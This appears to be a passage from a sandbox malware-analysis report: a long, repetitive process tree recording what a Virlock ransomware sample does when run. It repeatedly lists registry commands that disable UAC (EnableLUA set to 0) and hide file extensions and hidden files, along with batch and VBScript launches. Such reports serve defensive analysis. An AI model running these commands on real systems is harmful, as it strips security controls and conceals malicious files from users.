                                                                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                      PID:6140
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                74⤵
                                                                                                                                                                                                                                                                                                                                                                                                • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                PID:3192
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                74⤵
                                                                                                                                                                                                                                                                                                                                                                                                • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                PID:2444
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                74⤵
                                                                                                                                                                                                                                                                                                                                                                                                • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                PID:1060
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ScUcoUEI.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                74⤵
                                                                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                PID:4304
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                  cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                  75⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                  PID:5816
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                            72⤵
                                                                                                                                                                                                                                                                                                                                                                                            • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                            PID:4352
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                            72⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:3464
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                              reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                              72⤵
                                                                                                                                                                                                                                                                                                                                                                                              • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                              PID:1624
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\WmckMMIc.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                              72⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:408
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                  cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                  73⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                  PID:2448
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                            70⤵
                                                                                                                                                                                                                                                                                                                                                                                            • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                            PID:5132
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                            70⤵
                                                                                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                            PID:2172
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                            reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                            70⤵
                                                                                                                                                                                                                                                                                                                                                                                            • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                            • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                            PID:3808
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\xgQggsEU.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                            70⤵
                                                                                                                                                                                                                                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                            PID:5824
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                              cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                              71⤵
                                                                                                                                                                                                                                                                                                                                                                                              • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                              PID:2588
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                        68⤵
                                                                                                                                                                                                                                                                                                                                                                                        • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                        PID:788
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                        68⤵
                                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                        PID:600
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                        68⤵
                                                                                                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                        PID:1468
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\NSMQUMcM.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                        68⤵
                                                                                                                                                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                        PID:3476
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                          69⤵
                                                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                          PID:1732
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                    66⤵
                                                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                    PID:5600
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                    66⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:2252
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                      66⤵
                                                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                      • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                      PID:5020
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\hOscsYcg.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                      66⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:3044
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                          67⤵
                                                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                          PID:2620
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                    64⤵
                                                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                    PID:3896
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                    64⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:3060
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                      64⤵
                                                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                      PID:2448
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\IEwEksEw.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                      64⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:792
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                          65⤵
                                                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                          PID:5768
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                    62⤵
                                                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                    PID:3000
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                    62⤵
                                                                                                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                    PID:4316
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                    62⤵
                                                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                    PID:2260
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                      63⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:2224
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AwsckIoU.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                      62⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:5140
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                          63⤵
                                                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                          PID:2212
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                    60⤵
                                                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                    PID:5776
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                    60⤵
                                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                    PID:2584
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                    60⤵
                                                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                    PID:1960
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\KAsscsIo.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                    60⤵
                                                                                                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                    PID:5516
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                      cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                      61⤵
                                                                                                                                                                                                                                                                                                                                                                                      • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                      PID:4376
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                58⤵
                                                                                                                                                                                                                                                                                                                                                                                • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                PID:4920
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                58⤵
                                                                                                                                                                                                                                                                                                                                                                                • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                PID:4452
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                58⤵
                                                                                                                                                                                                                                                                                                                                                                                • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                PID:5616
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\xWsEQAgo.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                58⤵
                                                                                                                                                                                                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                PID:1236
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                  cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                  59⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                  PID:6040
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                            56⤵
                                                                                                                                                                                                                                                                                                                                                                            • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                            PID:2364
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                            56⤵
                                                                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                            • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                            PID:3020
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                            reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                            56⤵
                                                                                                                                                                                                                                                                                                                                                                            • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                            PID:5020
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\XYkQQUsw.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                            56⤵
                                                                                                                                                                                                                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                            PID:4160
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                              cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                              57⤵
                                                                                                                                                                                                                                                                                                                                                                              • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                              PID:4136
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                        54⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                        PID:1548
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                        54⤵
                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                        PID:2212
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                        54⤵
                                                                                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                        PID:1972
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\NOsYQYgk.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                        54⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:4968
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                            55⤵
                                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                            PID:5748
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                      52⤵
                                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                      PID:3984
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                      52⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:4680
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                        52⤵
                                                                                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                        PID:2972
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BGUAwowk.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                        52⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:3328
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                            53⤵
                                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                            PID:2224
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                      50⤵
                                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                      PID:6100
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                      50⤵
                                                                                                                                                                                                                                                                                                                                                                      • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                      PID:2620
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                      50⤵
                                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                      • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                      PID:5748
